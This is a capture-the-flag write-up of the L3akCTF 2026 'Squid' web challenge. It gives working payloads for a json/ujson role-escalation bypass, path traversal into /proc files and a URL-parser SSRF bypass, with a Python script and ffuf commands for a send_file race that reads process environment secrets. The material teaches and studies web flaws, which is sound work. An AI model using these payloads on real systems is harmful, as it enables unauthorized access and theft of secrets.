L3akCTF 2026: Squid

L3akCTF 2026: Squid - Jorian Woltjer, Jorian Woltjer.

- Published: date not stated
- Original: <https://jorianwoltjer.com/blog/p/ctf/l3akctf-2026-squid>
- Preserved from: https://jorianwoltjer.com/blog/p/ctf/l3akctf-2026-squid (live) on 2026-09-13
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Squid was a Server-Side Web challenge with just 3 solves in the end (not counting the several removed LLM-assisted solves). One rule that made L3akCTF 2026 stand out was its zero-tolerance LLM policy, which made challenges much more rewarding to solve.

The start of this challenge was relatively simple, but we'll jump to internal hosts and learn a generic technique that allows reading files with 0 size like `/proc/.../environ` in the `send_file()` function from Flask (and likely more, so be prepared in your next CTF).

Let's get into the challenge!

Mass Assignment

We get a `public_app.py` that, as the name suggests, is publicly available on http://localhost:13337 after starting the Docker stack with `docker compose up --build`. At `/register`, we can register with any credentials, but our default role is "user".

With the "user" role, we cannot access `is_staff()`-protected endpoints, which are basically all the interesting ones.

```
def is_staff():
    return session.get("role") == "admin"

@app.post("/api/manifest")
def api_manifest():
    if not is_staff():
        return jsonify({"error": "importing manifests is limited to organisation staff"}), 403
    ...

@app.get("/download/<path:target>")
def download(target):
    if not is_staff():
        return jsonify({"error": "artifact access is limited to organisation staff"}), 403
    ...
```

So the first step is likely to become "admin". There are no predefined `USERS` we could attack, but there is some weird logic in the `/api/register` endpoint:

```
@app.post("/api/register")
def api_register():
    raw = request.get_data()
    try:
        payload = json.loads(raw)
    except Exception:
        return jsonify({"error": "request body must be json"}), 400
    if not isinstance(payload, dict) or not payload.get("username"):
        return jsonify({"error": "username is required"}), 400

    if payload.get("role", "user") == "admin":
        return jsonify({"error": "self-service accounts cannot request the admin role"}), 403

    record = ujson.loads(raw)
    username = str(record.get("username"))[:64]
    role = record.get("role", "user")
    USERS[username] = {"role": role, "password": record.get("password")}
    session["username"] = username
    session["role"] = role
    return jsonify({"ok": True, "username": username, "role": role})
```

The client-side `js/app.js` script sets only `username` and `password` values:

```
wireForm('#register-form', async function (form) {
var r = await postJSON('/api/register', {
  username: form.username.value,
  password: form.password.value,
});
if (r.ok) { window.location = '/dashboard'; }
else { showAlert(form, 'err', r.data.error || 'Registration failed'); }
});
```

But the endpoint also tries to read a `role` key, defaulting to "user". If we only change:

```
{"username": "j0r1an", "password": "j0r1an"}
```

To:

```
{"username": "j0r1an", "password": "j0r1an", "role": "admin"}
```

We hit another check:

> self-service accounts cannot request the admin role

`json.loads()` parses our request body and denies it when the `role` key is "admin". However, the code later switches to `ujson.loads()` to read the record and actually *save* the role.

json vs. ujson Parser Differential

The two JSON parsers json and ujson may parse the input slightly differently. Because the check is separated from the use, all we need is to obfuscate the `role` key somehow for `json`, while `ujson` still reads it correctly.

Luckily, there is some prior research on this. In an article by Jake Miller at BishopFox ("An Exploration of JSON Interoperability Vulnerabilities"), they describe various common JSON parser ambiguities. We can just go through them one by one and see if any work:

```
uv run --with 'ujson==5.0.0' python
>>> import json
>>> import ujson

>>> json.loads('{"role":"user","role":"admin"}')
{'role': 'admin'}
>>> ujson.loads('{"role":"user","role":"admin"}')
{'role': 'admin'}

>>> json.loads('{"role":"user","role\\x0d":"admin"}')
json.decoder.JSONDecodeError: Invalid \escape: line 1 column 21 (char 20)
>>> ujson.loads('{"role":"user","role\\x0d":"admin"}')
ValueError: Unrecognized escape sequence when decoding 'string'

>>> json.loads('{"role":"user","role\\ud800":"admin"}')
{'role': 'user', 'role\ud800': 'admin'}
>>> ujson.loads('{"role":"user","role\\ud800":"admin"}')
{'role': 'admin'}
```

Success! Duplicate keys resolve to the last for both libraries, `\x0d` isn't recognizes as a valid escape code by both, but a difference lies in handling dangling surrogates (`\ud800`). `json` sees the extra character and makes a new key for it, while `ujson` ignores it and overwrites the previous key, making the resulting role "admin".

> **Note**: This differential only works on ujson < 5.4.0, it ended up being treated as a real security vulnerability (GHSA-wpqr-jcpx-745r)

This allows us to register as a real admin and access the other functionality in this app:

```
POST /api/register HTTP/1.1{"username":"j0r1an","password":"j0r1an","role":"admin\ud800"}
```

File Read

Passing `is_staff()` checks now, this unlocks the `/download/:target` endpoint. It joins our path variable with a static directory and sends back the content of the file at this location:

```
@app.get("/download/<path:target>")
def download(target):
    if not is_staff():
        return jsonify({"error": "artifact access is limited to organisation staff"}), 403
    path = os.path.join(WORK, target)
    try:
        return send_file(path)
    except OSError:
        return jsonify({"error": "artifact not found"}), 404
```

There is an obvious path traversal vulnerability here. By prefixing our `target` path with `../` sequences, we can read any file on the filesystem. If we try to request http://localhost:13337/download/..%2F..%2F..%2F..%2Fetc%2Fpasswd, however, we get an unexpected response from Nginx:

> 400 Bad Request

Nginx has a sanity check during its internal URL normalization step to count the depth of the requested path vs. the number of `../` sequences. If you path-traverse more than there are existing path segments before it, you receive a "400 Bad Request" error instead. Because we only have one segment (`/download/`), we can only path-traverse once outside of the `WORK` directory. But we're lucky that it is set to only `/work`, no deeper path. So one traversal is enough to access the whole filesystem!

http://localhost:13337/download/..%2Fetc%2Fpasswd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

This is a nice primitive! But for now we can't do much with it as it's running as the `ctf` user while the flag is stored in `/secrets/flag` owned and readable only by the `root` user.

Trying to read `/proc/self/environ` for environment variables also fails:

```
$ curl -i -H 'Cookie: session=ey...8k' http://localhost:13337/download/..%2Fproc%2Fself%2Fenviron
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 0
Content-Disposition: inline; filename=environ
```

It successfully finds the file indicated by the `200 OK`, but due to the size of the file being reported as `0` by the OS, 0 bytes are sent to us. We'll get back to this in the Flask send_file() size Race Condition section.

SSRF via urllib vs. requests

Another endpoint opens up from `is_staff()` too:

```
import urllib.parse

TRUSTED_MIRRORS = {
    "manifests.buildfarm.internal",
    "cdn.buildfarm.internal",
    "registry.buildfarm.internal",
}

@app.post("/api/manifest")
def api_manifest():
    if not is_staff():
        return jsonify({"error": "importing manifests is limited to organisation staff"}), 403
    body = request.get_json(silent=True) or {}
    url = body.get("url", "")
    if not isinstance(url, str) or not url:
        return jsonify({"error": "a manifest url is required"}), 400

    mirror = urllib.parse.urlparse(url).hostname
    if mirror not in TRUSTED_MIRRORS:
        return jsonify({"error": "mirror is not on the trusted list", "mirror": mirror}), 403
    try:
        resp = requests.get(url, timeout=5, allow_redirects=False)
    except Exception as exc:
        return jsonify({"error": "could not reach mirror", "detail": str(exc)}), 502
    return Response(resp.content, status=resp.status_code,
                    content_type=resp.headers.get("Content-Type", "application/json"))
```

This gets `url` from our request body and parses it with `urllib.parse.urlparse()` to check if the hostname is allowed, before requesting and returning the content at this URL. From the allowed `TRUSTED_MIRRORS`, none resolve. To get anything from this function we *need* to get it to request a different hostname that isn't allowed. Time for another parser differential!

Let's see if `requests` even uses a different parser than `urllib`. If it also just imports that, we're in bad luck. Just tracing where the `url` parameter flows into through the library, we end up here in `models.py`:

```
from urllib3.util import parse_url
...
class PreparedRequest(RequestEncodingMixin, RequestHooksMixin):
    ...
    def prepare_url(self, url: _t.UriType, params: _t.ParamsType) -> None:
        scheme, auth, host, port, path, query, fragment = parse_url(url)
```

`urllib3` is used. We previously saw urllib which is in the Python standard library, but `requests` internally uses urllib3 which is a re-implementation of it with different features, and importantly, a *new parser*.

Prior research by Thomas Chauchefoin at SonarSource ("Security Implications of URL Parsing Differentials") shows an example of these two parsers already.

They highlight one specific vector that causes a lot of confusion between parsers: `http://a.tld\@b.tld`

```
>>> import urllib.parse
>>> from urllib3.util import parse_url

>>> urllib.parse.urlparse('http://a.tld\\@b.tld').hostname
'b.tld'
>>> parse_url('http://a.tld\\@b.tld')
Url(scheme='http', auth=None, host='a.tld', port=None, path='/%5C@b.tld', query=None, fragment=None)
```

It works perfectly for our case! If we set a URL like `https://example.com\@manifests.buildfarm.internal`, the 1st parser sees `manifests.buildfarm.internal`, which is allowed through. Then, the 2nd parser sees `https://example.com` with just a bit of a strange path.

As for what to reach with this, there is a second server on port 8000 only listening on `localhost`. We can now reach it:

```
@app.route("/", defaults={"path": ""}, methods=["GET", "POST"])
@app.route("/<path:path>", methods=["GET", "POST"])
def schedule(path):
    raw = request.args.get("spec") or request.form.get("spec")
    ...
```

It handles any path and is configured by a GET query parameter `?spec=`. This doesn't change our parser differential, so we can just append it. We can schedule a job through this internal server as follows:

```
POST /api/manifest HTTP/1.1{"url":"http://localhost:8000\\@manifests.buildfarm.internal?spec={}"}
```

Interacting with worker.py

Now the question is what can we do with this new server. Well, the nice part is that as opposed to the `public_app.py` this server is **running as root**. See below the `entrypoint.sh` where `/app/worker.py` (localhost:8000) is run directly in a background process (stays root), and the public app is wrapped with `gosu ctf`, setting the user to `ctf`:

```
...
python /app/worker.py &

exec gosu ctf gunicorn ... public_app:app
```

That means it can access the flag and does so here:

```
VAULT_FILE = "/secrets/flag"
RESERVED_ENV = {"PATH", "HOME", "BROWSER", "BASH_ENV", "ENV", "IFS"}

def load_vault():
    with open(VAULT_FILE, "r") as f:
        return {"FLAG": f.read().strip()}

VAULT = load_vault()

def _unsafe_env_name(key):
    return key in RESERVED_ENV or key.startswith("PYTHON") or key.startswith("LD_")

def materialise_env(env):
    resolved = {}
    for key, val in env.items():
        if not isinstance(key, str):
            continue
        if _unsafe_env_name(key):
            continue
        if isinstance(val, str):
            resolved[key] = string.Template(val).safe_substitute(VAULT)
        else:
            resolved[key] = str(val)
    return resolved
```

This function filters environment variables and, while doing so, uses `string.Template` to allow values to reference the vault variables (`FLAG`). The syntax for this library is pretty basic, just `$FLAG` or `${FLAG}`, no format specifiers or anything.

Where is `materialise_env()` used, you may ask? It is in the handler that we can call now via the SSRF:

```
RUNNER = "/app/runner.py"

def schedule(path):
    raw = request.args.get("spec") or request.form.get("spec")
    manifest = json.loads(raw)
    ...
    task = manifest.get("task", "build")
    ttl = clamp_ttl(manifest.get("ttl", 60))
    jobid, workdir = new_workdir()

    if task == "build":
        env = manifest.get("env") or {}
        child_env = {
            "PATH": "/usr/local/bin:/usr/bin:/bin",
            "HOME": "/tmp",
            "CI": "true",
            "JOB_ID": jobid,
        }
        child_env.update(materialise_env(env))
        proc = spawn(
            [sys.executable, "-I", RUNNER, "build", workdir, str(ttl)],
            child_env,
            workdir,
        )
```

It spawns a subprocess `runner.py` with arguments `build /work/RANDOM_HEX 60.0`. In the `spec` parameter we provide, **environment variables** to the process, which are restricted and templated via the function from before. Now environment variables are pretty powerful, so the restrictions better be sound.

The `runner.py` file itself isn't too interesting. It just prints some static strings to a `build.log` file and waits for the number of seconds we specify in `ttl`.

```
def main():
    if len(sys.argv) < 3:
        return
    mode = sys.argv[1]
    workdir = sys.argv[2]
    if mode == "build":
        do_build(workdir, float(sys.argv[3]))

def do_build(workdir, ttl):
    log = os.path.join(workdir, "build.log")
    with open(log, "w") as f:
        ...
        f.write("[buildfarm] build succeeded\n")
    deadline = time.time() + ttl
    print(os.environ.get("test"))
    while time.time() < deadline:
        time.sleep(0.2)
```

We can quickly test with `ltrace` where `getenv()` calls are made to read specific environment variables, then evaluate what happens if we control them.

```
$ docker compose exec -u ctf -it app bash
$ mkdir /work/test
$ ltrace -e getenv /usr/local/bin/python -I /app/runner.py build /work/test 60.0
libpython3.9.so.1.0->getenv("LC_ALL")                    = nil
libpython3.9.so.1.0->getenv("PATH")                      = "/usr/local/bin:/usr/local/sbin:/"...
+++ exited (status 0) +++
```

Unfortunately, that seems quite limited. `PATH` is already blocked by the program, leaving us with `LC_ALL`, which is only used for some small localization details. This isn't the end of the story, however, because apart from calling a function such as `getenv`, a program can also just read from the environment variables already in memory and access them like a dictionary in Python (`os.environ`).

At the start of `runner.py`, we can insert a small snippet to hook these environment variable accesses and run `runner.py`:

```
import os

class EnvAccessLoggingDict(os._Environ):
    def __init__(
        self,
    ) -> None:
        identity = lambda x: x
        super().__init__(
            data=os.environ,
            encodekey=identity, decodekey=identity, encodevalue=identity, decodevalue=identity
        )

    def __getitem__(self, key: str) -> str:
        print(f"Accessed os.environ[{key}]")
        return super().__getitem__(key)

os.environ = EnvAccessLoggingDict()
```

But unfortunately, again this also doesn't find any environment variable uses. If we look deeper into it, this is mainly because `-I` is set, which doesn't do us many favors:

> `-I` option can be used to run the script in isolated mode where `sys.path` contains neither the current directory nor the user's site-packages directory. All `PYTHON*` environment variables are ignored, too.

So if no variable affects the execution of the `runner.py` script, why do we have control over it? How can we do something with the flag value?

Remember: we can set the flag in the value of any environment variable, and we have a file read primitive. So, is anything stored on disk while executing that we missed?

I went for fuzzing. Cloned cpython, searched for environment variable-like words and gave them all a recognizable value like `j0r1an` that wouldn't normally appear on the system:

```
$ rg -w '[A-Z_][A-Z0-9_]{2,}' -oI | sort -u | sed 's/.*/&=j0r1an_&/' > vars.txt

$ shuf vars.txt | head -n5
PY_STDLIB_MOD=j0r1an_PY_STDLIB_MOD
AC_CHECK_MEMBERS=j0r1an_AC_CHECK_MEMBERS
RC_BAD_VENV_CFG=j0r1an_RC_BAD_VENV_CFG
_DO_CALL=j0r1an__DO_CALL
BDEB=j0r1an_BDEB
```

Then, run the runner with this packed environment and search the whole filesystem for any traces of the canary string `j0r1an`:

```
source vars.txt
/usr/local/bin/python -I /app/runner.py build /work/test 9999.0
```

Sure enough, after some time we find results:

```
$ find / -type f -exec timeout 1 grep -aH "j0r1an" {} \; 2>/dev/null
/proc/16998/environ:TERM=j0r1an_TERMGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHONUNBUFF
/proc/72519/cmdline:find/-typef-exectimeout1grep-aHj0r1an{};
```

The `cmdline` is a false positive as it is matching the `grep` command itself. But in `/proc/16998/environ` it found content containing the environment values, which is not very surprising. We already tried to read `/proc/self/environ` with the file read earlier, but due to its 0 size, Flask can't return any of its bytes.

Flask send_file() size Race Condition

This is the last and most interesting part of the challenge. While digging into the source code of Flask's `send_file()` function and following where its first argument `path_or_file` is used. This lands us in `werkzeug/utils.py`. The `send_file` function here first calls `os.stat(path)` for the `Content-Length` header, then later on `open(path)` to actually read the content:

```
def send_file(path_or_file: os.PathLike[str] | str | t.IO[bytes], ...):
    path = os.path.join(_root_path, path_or_file)
    stat = os.stat(path)
    size = stat.st_size
    ...
    file = open(path, "rb")

    data = wrap_file(environ, file)
    rv = response_class(
        data, mimetype=mimetype, headers=headers, direct_passthrough=True
    )

    if size is not None:
        rv.content_length = size
```

The weird thing is that `/proc/self/environ` reports a size of 0 when running `os.stat` on it, because it is a special dynamically generated file by the OS.

```
$ stat /proc/self/environ
  File: /proc/self/environ
  Size: 0               Blocks: 0          IO Block: 1024   regular empty file
Device: 98h/152d        Inode: 648338      Links: 1
Access: (0400/-r--------)  Uid: ( 1000/     ctf)   Gid: ( 1000/     ctf)
```

But werkzeug still opens the file and successfully reads its data. What's stopping it is the **gunicorn** layer explicitly stopping with sending in `http/wsgi.py` if the `Content-Length:` is reached.

```
class Response:
    ...
    def process_headers(self, headers):
        for name, value in headers:
            ...
            if lname == "content-length":
                self.response_length = int(value)

    def write(self, arg):
        ...
        if self.response_length is not None:
            if self.sent >= self.response_length:
                                return

            tosend = min(self.response_length - self.sent, tosend)
            if tosend < arglen:
                arg = arg[:tosend]

                        if self.chunked and tosend == 0:
            return

        self.sent += tosend
        util.write(self.sock, arg, self.chunked)
```

And because our file reports a size of 0, it will always send 0 bytes back to us. It seems impossible, until we factor in *time*. Because there are actually two operations on our file at two different moments in time:

- `os.stat()`
- `open()`

If during step 1, at the path there is some large file with a real size >0, which we can quickly swap for a symlink to `/proc/self/environ` before step 2, at step 2 the environment is read again but with a `Content-Length:` reporting a much larger size. gunicorn would let the data pass, and we can read the environment variables.

This requires RCE on the machine; creating and moving symlinks isn't realistic. Right? Right?!

Then I suddenly remembered a trick from a past CTF: Every `open()` call secretly "writes" a symlink to `/proc/self/fd/3` (or a higher file descriptor) pointing to the open file:

```
>>> passwd = open("/etc/passwd")
```

```
$ ls -l /proc/452/fd
total 0
lrwx------ 1 ctf ctf 0 -> /dev/pts/1
lrwx------ 1 ctf ctf 1 -> /dev/pts/1
lrwx------ 1 ctf ctf 2 -> /dev/pts/1
lr-x------ 1 ctf ctf 3 -> /etc/passwd
```

And these file descriptors are re-used. If I close the previous and open another one, we see it changed:

```
>>> passwd.close()
>>> environ = open("/proc/self/environ")
```

```
$ ls -l /proc/452/fd
total 0
lrwx------ 1 ctf ctf 0 -> /dev/pts/1
lrwx------ 1 ctf ctf 1 -> /dev/pts/1
lrwx------ 1 ctf ctf 2 -> /dev/pts/1
lr-x------ 1 ctf ctf 3 -> /proc/452/environ
```

This is effectively the symlink swap gadget we were looking for! If we had pointed a `send_file()` at `/proc/452/fd/3` with the correct timing, it could read the *size* of `/etc/passwd` with the *content* of `/proc/self/environ`!

To be clearer, the following steps should happen:

- Trigger a long-running job via the SSRF to get `FLAG` into `/proc/$RUNNER_PID/environ`
- Request `send_file("/etc/passwd")`, creating `/proc/self/fd/13 -> /etc/passwd`
- Request `send_file("/proc/self/fd/13")`. `os.stat` follows the symlink to `/etc/passwd` and gets back 967 as the size. Now waits
- *Step 2* is finished, closing file descriptor 13
- Request `send_file("/proc/$RUNNER_PID/environ")`, creating `/proc/self/fd/13 -> /proc/$RUNNER_PID/environ`
- *Step 3* continues to `open()` and follows the symlink now pointing to `/proc/$RUNNER_PID/environ`. Reads its content and returns it to gunicorn

- gunicorn gets `Content-Length: 967` with a body being the runner's environment variables. It reads the first 967 bytes of that content and sends those back to the client

There are a few unknowns, such as the exact timing (which we can fix by just spamming many attempts) and the runner PID. Note that we don't need to know the app PID because `self` refers to it.

Finding the PID isn't hard either. Using our file read, we can iterate through specific `/proc` files. We can't check `/proc/.../cmdline` for the same reason we also can't read environ, but the process has a very unique `cwd` (current working directory):

```
$ ls -la /proc/*/cwd
lrwxrwxrwx 1 ctf  ctf  0 Aug  3 14:46 /proc/7/cwd -> /app
lrwxrwxrwx 1 ctf  ctf  0 Aug  3 14:46 /proc/21/cwd -> /app
lrwxrwxrwx 1 ctf  ctf  0 Aug  3 14:46 /proc/24/cwd -> /work/c7729b1b067f47e982202d03ae9ae6eb
lrwxrwxrwx 1 ctf  ctf  0 Aug  3 14:46 /proc/25/cwd -> /app
```

Our `runner.py` starts in `/work/c7729b1b067f47e982202d03ae9ae6eb`. We can follow it to read the `build.log` it writes, for example:

```
$ cat /proc/24/cwd/build.log
[buildfarm] agent online
[buildfarm] restoring toolchain cache ... ok
[buildfarm] resolving dependencies ... ok
[buildfarm] compiling sources ... ok
[buildfarm] running tests ... 42 passed
[buildfarm] build succeeded
```

A simple Python loop finds the ID:

```python
s = requests.Session()

def file_read(path):
    r = s.get(HOST + f"/download/{quote('..' + path, safe='')}")
    if r.status_code == 404:
        return None
    assert r.ok, r.text
    return r.content

s.post(HOST + "/api/register",
       json={"username": "j0r1an", "password": "j0r1an", "role": "admin\ud800"})

for pid in tqdm(range(100)):
    content = file_read(f"/proc/{pid}/cwd/build.log")
    if content is not None and b"buildfarm" in content:
        print(f"{pid=}")
```

> `pid=24`

Now all that's left is to launch the job that sets the environment variable and spam the 3 file reads we came up with until it returns the flag.

We should make the fake size (passwd) smaller than the real size (environ), because otherwise, gunicorn infinitely waits on the rest. Currently, the environment is ~137 bytes, while the passwd is 967 bytes. We could choose a smaller file for the fake size, but since we have control over the format string, we can also just repeat `$FLAG$FLAG$FLAG...` a couple times to reach the size.

```
def start_worker():
    spec = {
        "ttl": 1337.0,
        "env": {"FLAG": "$FLAG" * 200},
    }
    r = s.post(HOST + "/api/manifest", json={
        "url": f"http://localhost:8000\\@manifests.buildfarm.internal?spec={quote(json.dumps(spec), safe='')}"
    })
    return r.json()

print(start_worker())
time.sleep(3)
for pid in tqdm(range(100)):
    content = file_read(f"/proc/{pid}/cwd/build.log")
    if content is not None and b"buildfarm" in content:
        break
else:
    raise Exception("Could not find worker.py process")

print(f"{pid=}")
```

Now there are the two symlink-swapping file reads (with the found PID "24" of the environ we want to read):

```
ffuf -u 'http://localhost:13337/download/..%2Fproc%2F24%2Fenviron#FUZZ' -w <(seq 1 100000) -H 'Cookie: session=ey
```

```
ffuf -u 'http://localhost:13337/download/..%2Fetc%2Fpasswd#FUZZ' -w <(seq 1 100000) -H 'Cookie: session=ey...8k'
```

And finally, the command that *reads* the swapping symlink, at some point returning the flag. Using `-mr FLAG` we can **m**atch for the **r**egex "FLAG" in the body, and `-od ffuf` as the **o**utput **d**ebug directory, where all matching responses are written into a directory (for us to read the flag when it hit).

```
ffuf -u 'http://localhost:13337/download/..%2Fproc%2Fself%2Ffd%2F13#FUZZ' -mr FLAG -od ffuf -w <(seq 1 100000) -H
```

Running all 3 commands at the same time on our target (while the runner job is still running), we eventually get some matches in the 3rd ffuf instance:

```
[Status: 200, Size: 967, Words: 1, Lines: 1, Duration: 313ms]
| RES | 03c23f286ff385424ad86870de6ffa90
    * FUZZ: 6921
```

Reading the written response, we find the flag!

```
$ cat ffuf/03c23f286ff385424ad86870de6ffa90

GET /download/..%2Fproc%2Fself%2Ffd%2F13 HTTP/1.1
Host: localhost:13337
User-Agent: Fuzz Faster U Fool v2.1.0-dev
Cookie: session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImowcjFhbiJ9.anCr5w.__vsW5PQHW2i1QSlXZjq41pRpVs
Accept-Encoding: gzip

----    Request ---- Response    ----

HTTP/1.1 200 OK
Content-Length: 967
Cache-Control: no-cache
Connection: keep-alive
Content-Disposition: inline; filename=13
Content-Type: application/octet-stream
Date: Mon, 03 Aug 2026 14:56:38 GMT
Etag: "1785607833.0-967-1681852358"
Last-Modified: Sat, 01 Aug 2026 18:10:33 GMT
Server: nginx/1.25.5
Vary: Cookie

PATH=/usr/local/bin:/usr/bin:/bin
HOME=/tmp
CI=true
JOB_ID=f873f9424c4249f4be1493daa63d5728
FLAG=L3AK{niCe_C47ch_U_0w3_me_4_BeeR_1547859621}}L3AK{niCe_C47ch_U_0w3_me_4_BeeR_1547859621}}L3AK{n
```

Conclusion

This challenge started off with some well-known parser differentials, and ended spectacularly with a race condition inside werkzeug. If your file read primitive is fast, this is a generic technique for reading *special files* with `send_file()`. I'm sure the same `/fd` idea will also help exploit other functionalities vulnerable to race conditions.

Thanks to @caarab for creating the challenge!